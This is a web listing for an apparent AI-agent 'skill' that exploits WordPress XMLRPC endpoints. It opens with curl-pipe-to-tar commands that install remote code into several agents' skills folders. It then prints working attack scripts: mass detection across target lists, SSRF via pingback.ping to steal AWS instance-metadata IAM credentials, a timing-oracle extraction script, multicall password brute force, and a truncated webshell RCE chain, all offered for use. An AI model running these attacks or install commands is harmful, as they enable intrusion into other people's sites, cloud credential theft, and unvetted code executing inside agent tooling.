xmlrpc-exploitation – Security skill for AI agents
Exploit XMLRPC multicall, pingback for brute force and SSRF.
Install the xmlrpc-exploitation skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/xmlrpc-exploitation-5ea9c.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /xmlrpc-exploitation – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/xmlrpc-exploitation-5ea9c.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $xmlrpc-exploitation – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/xmlrpc-exploitation-5ea9c.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /xmlrpc-exploitation – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/xmlrpc-exploitation-5ea9c.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /xmlrpc-exploitation – then describe the task you want done.
SKILL.md content
XMLRPC Exploitation Skill
5-phase exploitation pipeline for WordPress XMLRPC endpoints. Covers bulk detection, method enumeration, SSRF via pingback.ping, amplified brute force via system.multicall (1000x amplification), and RCE via wp.uploadFile when open registration is present. XMLRPC is open on ~52% of WordPress targets found via wp-mass-recon.
When to Use
wp-mass-recondetected XMLRPC returning HTTP 200 on POST.- Target has WordPress with open registration (chain: upload → webshell → RCE).
- Need a brute-force amplification vector for WordPress credentials.
- Probing for internal SSRF via
pingback.pingto cloud metadata endpoints.
Prerequisites
terminalwith curl.- Target has confirmed XMLRPC endpoint (
/xmlrpc.phpreturns 200 on POST withdemo.sayHello). - For RCE chain: target must have open registration or another file upload path.
- For SSRF chain: need a Collaborator/Burp Collaborator endpoint or internal target IPs.
How to Run
# Phase 1: Bulk detection on target list
while read -r domain; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>')
[[ "$code" == "200" ]] && echo "OPEN: $domain"
sleep 0.3
done < targets.txt
# Phase 2: Deep method enumeration
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'Quick Reference
| Method | Capability | Severity |
|--------|-----------|----------|
| demo.sayHello | Confirms XMLRPC is alive | Info |
| system.listMethods | Enumerate all available methods | Info |
| system.multicall | Execute multiple methods in ONE request | Critical — 1000x brute force amplification |
| pingback.ping | SSRF — server makes outbound HTTP request | High — probe internal network, IMDS |
| wp.getUsers | Enumerate WordPress users | Medium |
| wp.getPosts | List published posts | Low |
| wp.uploadFile | Upload file to media library | Critical — webshell when combined with open reg |
| wp.getOptions | Read WordPress options (siteurl, admin_email) | Medium |
| wp.getPostStatusList | Get post statuses | Low |
Procedure
Phase 1 — Bulk Detection
#!/bin/bash
# Input: domains.txt (one domain per line)
# Output: xmlrpc_open.txt
echo "domain,code,hello" > xmlrpc_open.csv
while read -r domain; do
resp=$(curl -sk --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>' 2>/dev/null)
if echo "$resp" | grep -q "Hello"; then
echo "$domain,200,yes" >> xmlrpc_open.csv
echo "[OPEN] $domain"
fi
done < targets.txtPhase 2 — Method Enumeration
TARGET="$1"
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-H "Accept-Encoding: identity" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
| python3 -c "
import sys, re
print('\n'.join(re.findall(r'<value><string>([^<]+)</string>', sys.stdin.read())))
" | sortKey methods to look for: system.multicall, pingback.ping, wp.uploadFile, wp.getUsers, wp.getOptions.
Phase 3 — SSRF via pingback.ping
TARGET="$1"
CALLBACK="https://YOUR_COLLABORATOR.burpcollaborator.net"
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>$CALLBACK</string></value></param>
<param><value><string>https://$TARGET/?p=1</string></value></param>
</params>
</methodCall>"If the callback receives a hit, the target is vulnerable to SSRF. Next, probe internal services (always include Accept-Encoding: identity to avoid LiteSpeed gzip):
# AWS IMDSv1
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://192.0.2.1/latest/meta-data/</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>'
# IMDS role guessing — 14 confirmed role names (wave7_invade.py)
ROLES=("admin" "ec2" "s3" "lambda" "code-deploy" "SSM-Role"
"EC2Role" "CodeDeploy" "cloudformation" "ecs" "s3-readonly"
"webserver-role" "app-role" "default")
for role in "${ROLES[@]}"; do
result=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://192.0.2.1/latest/meta-data/iam/security-credentials/$role</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>" 2>/dev/null)
fc=$(echo "$result" | python3 -c "
import sys, re
fc = re.search(r'faultCode[^0-9]*([0-9]+)', sys.stdin.read())
print(fc.group(1) if fc else 'no-fault')
")
echo " role=$role -> faultCode ${fc:-no-fault}"
sleep 0.5
donefaultCode 0 on a pingback to an internal address confirms the request reached the target. faultCode 17 or 32 means blocked or unreachable.
Phase 3b — Blind SSRF Data Extraction via Timing Oracle
When pingback.ping returns faultCode 0 but you cannot see the response content (ordinary WordPress behaviour), use timing differences to extract data character-by-character or enumerate IAM roles.
How it works: The pingback SSRF fetches the URL and the IMDS returns data. The WordPress server discards the response body (not a valid blog post URL), but the TIME spent reading the response correlates with response SIZE.
IAM Role Enumeration:
import subprocess, time
TARGET = "target.com"
def ssrf_time(url):
xml = f'''<?xml version="1.0"?>
<methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://{TARGET}/author-sitemap.xml</string></value></param>
</params></methodCall>'''
start = time.perf_counter()
subprocess.run(["curl", "-sk", "-X", "POST",
f"https://{TARGET}/xmlrpc.php",
"-H", "Content-Type: text/xml", "-d", xml],
capture_output=True, timeout=15)
return time.perf_counter() - start
# Baseline — IMDS root response time
baseline = ssrf_time("http://192.0.2.1/latest/meta-data/")
print(f"[baseline] IMDS root: {baseline:.3f}s")
# Enumerate IAM roles — existing roles return JSON (slower)
roles = ["admin","ec2","s3","lambda","code-deploy","ecs",
"SSM-Role","EC2Role","webserver-role","app-role"]
for role in roles:
t = ssrf_time(f"http://192.0.2.1/latest/meta-data/iam/security-credentials/{role}")
exists = "FOUND" if t > baseline * 1.15 else "404"
print(f" {role}: {t:.3f}s -> {exists}")From field (retail.example.com, June 2026):
- IMDS
/meta-data/: 344ms (large response — list of paths) - IMDS
/iam/security-credentials/: 435ms (very large — IAM role listing) - IMDS
/instance-id: 301ms (small — short string)
Pitfall: Network jitter can cause ±50ms variance. Run each test 3 times and use the median. If baseline variance exceeds 20%, this technique is unreliable.
Phase 4 — Amplified Brute Force (system.multicall)
system.multicall allows executing multiple XMLRPC methods in a single HTTP request. A single request can contain 100+ wp.getUsers calls with different credentials, giving 1000x amplification over sequential requests.
TARGET="$1"
USERNAME="admin"
WORDLIST="./tools/passwords.txt"
# Build multicall XML with 100 passwords per request
python3 -c "
import sys
passwords = open('$WORDLIST').read().splitlines()[:100]
xml = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>'
for pw in passwords:
xml += f'''<value><struct>
<member><name>methodName</name><value><string>wp.getUsers</string></value></member>
<member><name>params</name><value><array><data>
<value><string>{pw}</string></value>
</data></array></value></member>
</struct></value>'''
xml += '</data></array></value></param></params></methodCall>'
print(xml)
" > /tmp/multicall_payload.xml
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d @/tmp/multicall_payload.xmlA successful auth in the response will show user data instead of faultCode 403.
Phase 5 — RCE via Open Registration + wp.uploadFile
If the t
… (full content is in the download package)
Related skills
- zimbra-attack – Zimbra SOAP user enum, CVE-2022-37042, SSRF when webmail.
- threat-mitigation-mapping – Map identified threats to appropriate security controls and mitigations. Use when…
- qms-audit-expert – ISO 13485 internal audit expertise for medical device QMS. Covers audit planning…
- red-team – Use when planning or executing authorized red team engagements, attack path analysis, or…
- ethical-hacking-methodology – Master the complete penetration testing lifecycle from reconnaissance through reporting…
- unbroker – Remove your info from data-broker sites, by name or phone.
- wcag-audit-patterns – Conduct WCAG 2.2 accessibility audits with automated testing, manual verification, and…
- rfp-responder – Use when an RFP, RFI, RFQ, security questionnaire, vendor questionnaire, or proposal…